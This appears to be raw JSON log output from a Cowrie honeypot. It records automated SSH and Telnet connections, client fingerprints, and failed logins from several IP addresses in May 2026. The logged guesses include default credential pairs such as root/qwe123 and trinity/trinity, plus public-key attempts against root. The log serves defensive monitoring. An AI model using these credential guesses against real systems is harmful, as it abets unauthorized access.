{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":53602,"dst_ip":"159.203.135.109","dst_port":22,"session":"34901225a38f","protocol":"ssh","message":"New connection: 31.40.204.166:53602 (159.203.135.109:22) [session: 34901225a38f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:40.901840Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:40.906544Z","src_ip":"31.40.204.166","session":"34901225a38f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:41.028204Z","src_ip":"31.40.204.166","session":"34901225a38f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"123456","message":"login attempt [appuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:41.616328Z","src_ip":"31.40.204.166","session":"34901225a38f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:42.804978Z","src_ip":"31.40.204.166","session":"34901225a38f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.65460276603699,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:43.194124Z","src_ip":"152.42.224.71","session":"f068b70a6514","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":32832,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8853d021ec9","protocol":"telnet","message":"New connection: 152.42.224.71:32832 (10.17.0.5:23) [session: d8853d021ec9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:43.889795Z"}
{"eventid":"cowrie.session.closed","duration":55.133050203323364,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:43.904067Z","src_ip":"152.42.224.71","session":"d5004264d2ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":32846,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f0e2d0a02d9","protocol":"telnet","message":"New connection: 152.42.224.71:32846 (10.17.0.5:23) [session: 2f0e2d0a02d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:43.909219Z"}
{"eventid":"cowrie.session.closed","duration":46.13025093078613,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:44.986201Z","src_ip":"152.42.224.71","session":"9496f54b8074","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51310,"dst_ip":"10.17.0.5","dst_port":23,"session":"8535df18d9ca","protocol":"telnet","message":"New connection: 152.42.224.71:51310 (10.17.0.5:23) [session: 8535df18d9ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:46.449092Z"}
{"eventid":"cowrie.session.closed","duration":50.61065220832825,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:47.060507Z","src_ip":"152.42.224.71","session":"95b75a077b03","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51314,"dst_ip":"10.17.0.5","dst_port":23,"session":"6cf94732672f","protocol":"telnet","message":"New connection: 152.42.224.71:51314 (10.17.0.5:23) [session: 6cf94732672f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:49.598068Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":47222,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b69de37e255","protocol":"ssh","message":"New connection: 31.40.204.166:47222 (159.203.135.109:22) [session: 5b69de37e255]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:53.014167Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:53.021584Z","src_ip":"31.40.204.166","session":"5b69de37e255","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:53.186118Z","src_ip":"31.40.204.166","session":"5b69de37e255","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trinity","password":"trinity","message":"login attempt [trinity/trinity] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:53.616303Z","src_ip":"31.40.204.166","session":"5b69de37e255","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51330,"dst_ip":"10.17.0.5","dst_port":23,"session":"c92f368e6e19","protocol":"telnet","message":"New connection: 152.42.224.71:51330 (10.17.0.5:23) [session: c92f368e6e19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:53.723728Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:54.802727Z","src_ip":"31.40.204.166","session":"5b69de37e255","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"super","password":"super","message":"login attempt [super/super] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:56.868535Z","src_ip":"47.237.167.49","session":"af4ac13433a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"42.0","message":"Connection lost after 42.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:58.726767Z","src_ip":"47.237.167.49","session":"af4ac13433a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39502,"dst_ip":"10.17.0.5","dst_port":23,"session":"793c32d084f7","protocol":"telnet","message":"New connection: 152.42.224.71:39502 (10.17.0.5:23) [session: 793c32d084f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:27:01.350144Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39508,"dst_ip":"10.17.0.5","dst_port":23,"session":"314033714f51","protocol":"telnet","message":"New connection: 152.42.224.71:39508 (10.17.0.5:23) [session: 314033714f51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:27:02.880647Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":47918,"dst_ip":"159.203.135.109","dst_port":22,"session":"c1c724978461","protocol":"ssh","message":"New connection: 31.40.204.166:47918 (159.203.135.109:22) [session: c1c724978461]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:27:05.380460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:27:05.389468Z","src_ip":"31.40.204.166","session":"c1c724978461","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:27:05.520053Z","src_ip":"31.40.204.166","session":"c1c724978461","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123","message":"login attempt [root/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:27:05.993083Z","src_ip":"31.40.204.166","session":"c1c724978461","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:27:07.187080Z","src_ip":"31.40.204.166","session":"c1c724978461","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":116.92544770240784,"message":"Connection lost after 116 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:27:07.232334Z","src_ip":"152.42.224.71","session":"229e73071c13","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.08658695220947,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:27:09.180949Z","src_ip":"152.42.224.71","session":"078399e73f32","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.80119276046753,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:27:12.681737Z","src_ip":"152.42.224.71","session":"314033714f51","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":59220,"dst_ip":"159.203.135.109","dst_port":22,"session":"6354885b8995","protocol":"ssh","message":"New connection: 31.40.204.166:59220 (159.203.135.109:22) [session: 6354885b8995]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:27:17.682098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:27:17.700996Z","src_ip":"31.40.204.166","session":"6354885b8995","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:27:17.817017Z","src_ip":"31.40.204.166","session":"6354885b8995","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"r00t","message":"login attempt [root/r00t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:27:18.685868Z","src_ip":"31.40.204.166","session":"6354885b8995","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:27:19.822142Z","src_ip":"31.40.204.166","session":"6354885b8995","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.129.186.87","src_port":46312,"dst_ip":"10.17.0.5","dst_port":22,"session":"47e9547e3f94","protocol":"ssh","message":"New connection: 102.129.186.87:46312 (10.17.0.5:22) [session: 47e9547e3f94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:27:20.104764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:27:20.109002Z","src_ip":"102.129.186.87","session":"47e9547e3f94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:27:20.236476Z","src_ip":"102.129.186.87","session":"47e9547e3f94","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"42:ce:4a:55:1a:b0:40:bc:19:58:66:9a:5b:79:4c:28","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDL6A8ZrAHR2xbXnEZfZTNT5pcIxNQkGn46Sf6KZK0V2pxlqWs6zQO1bk2dFKC1THJexdVlXegG5z/yp7MYbTPe4etR0OEkuoIJxUxsoHM2VwSCJO7fbQF9MzZdMR1IHcm02sCYW9GTM//+dL7pDzjZWqxD85pGiK6m+shH2otqkKRlKFgJTx1W7P46goZ4WmfdKRrz3oZIbX2wqPzCiFsG4Qa2BhBZ/t6b+dmS8/zV1BKGetQChNZdO8UKKuFOHvATe/CC9iNR4WzeP9/2sVUTQpKmIITKOtTbLFlnqCyQ25Xedp6FvcXhejmGIDvXchIRNqtjmo9bmrhzC/Zx53xF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 42:ce:4a:55:1a:b0:40:bc:19:58:66:9a:5b:79:4c:28","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:27:20.842637Z","src_ip":"102.129.186.87","session":"47e9547e3f94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"42:ce:4a:55:1a:b0:40:bc:19:58:66:9a:5b:79:4c:28","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDL6A8ZrAHR2xbXnEZfZTNT5pcIxNQkGn46Sf6KZK0V2pxlqWs6zQO1bk2dFKC1THJexdVlXegG5z/yp7MYbTPe4etR0OEkuoIJxUxsoHM2VwSCJO7fbQF9MzZdMR1IHcm02sCYW9GTM//+dL7pDzjZWqxD85pGiK6m+shH2otqkKRlKFgJTx1W7P46goZ4WmfdKRrz3oZIbX2wqPzCiFsG4Qa2BhBZ/t6b+dmS8/zV1BKGetQChNZdO8UKKuFOHvATe/CC9iNR4WzeP9/2sVUTQpKmIITKOtTbLFlnqCyQ25Xedp6FvcXhejmGIDvXchIRNqtjmo9bmrhzC/Zx53xF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:27:20.846533Z","src_ip":"102.129.186.87","session":"47e9547e3f94","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ec:ad:8a:f2:f3:7c:6a:d6:7c:1e:ee:3d:f6:c0:c5:0d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDt6m/p4KbbC0gwF/K3/p4KrvbQXXeu6C9Dc47jHAn7JlJTFIDydHJp7ehIx3Qk4GR299z6pjAa1FNI9+VGXYoXGoaIN2IVwVOffxMtOJprcpXp6TO68Pu667stscAvS9XFYR33TSyKi1lik3Z1oNRw9iy33fk0j/+QP+MzxC7h2zDWS6Ag1B0YvlX98ahxhJe/iSwpRApJCK5WSPDREes/v/mh5AtabIcqtN1+iQaVHlcyHf+Pcs+RU2XngvX354keuSWa6Vg7bvygVBi6RA7egcTULDZeE8FDYk0QgSZp+UXpJwoH5QgsphatglWChL6eCAvbGMJDPulUyowbMB+p","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ec:ad:8a:f2:f3:7c:6a:d6:7c:1e:ee:3d:f6:c0:c5:0d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:27:20.972423Z","src_ip":"102.129.186.87","session":"47e9547e3f94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ec:ad:8a:f2:f3:7c:6a:d6:7c:1e:ee:3d:f6:c0:c5:0d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDt6m/p4KbbC0gwF/K3/p4KrvbQXXeu6C9Dc47jHAn7JlJTFIDydHJp7ehIx3Qk4GR299z6pjAa1FNI9+VGXYoXGoaIN2IVwVOffxMtOJprcpXp6TO68Pu667stscAvS9XFYR33TSyKi1lik3Z1oNRw9iy33fk0j/+QP+MzxC7h2zDWS6Ag1B0YvlX98ahxhJe/iSwpRApJCK5WSPDREes/v/mh5AtabIcqtN1+iQaVHlcyHf+Pcs+RU2XngvX354keuSWa6Vg7bvygVBi6RA7egcTULDZeE8FDYk0QgSZp+UXpJwoH5QgsphatglWChL6eCAvbGMJDPulUyowbMB+p","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:27:20.975523Z","src_ip":"102.129.186.87","session":"47e9547e3f94","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fa:3a:3b:64:99:88:ae:fb:a5:65:06:ff:1b:5a:55:4e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCd/hl+Yq2YYDbCnIc5RhfsxomhRiUjpPYTyPiPO0ICcR2xho4lkdhnUaMqJdvDxq3U6VYyrj3K2F7Yz9Pno5GUO79DlLPQvsMO92awYYyV2jcCLZLYkxvZL4R0hMOi3oR0BhjDYviIZmG3w1Hhycsv0O93nLcvZc7fFkix4nJ0hTUlaS5Ie2kwuUaFlGjRplqg/vtlTD3ocpgEDyx5LZnkC57uoMkuYsxkzbs8I4doEdLzeW118/RUjnFii2GEnKf62hbi2SE0xTIeDgYu2MnncJ+TjBj2QihJlXdu/lh7IkSaGi5xFnYzMaNJvLTXW0f3/aKW4IVrkchHpq05LbDp","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fa:3a:3b:64:99:88:ae:fb:a5:65:06:ff:1b:5a:55:4e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:27:21.102829Z","src_ip":"102.129.186.87","session":"47e9547e3f94","protocol":"ssh"}
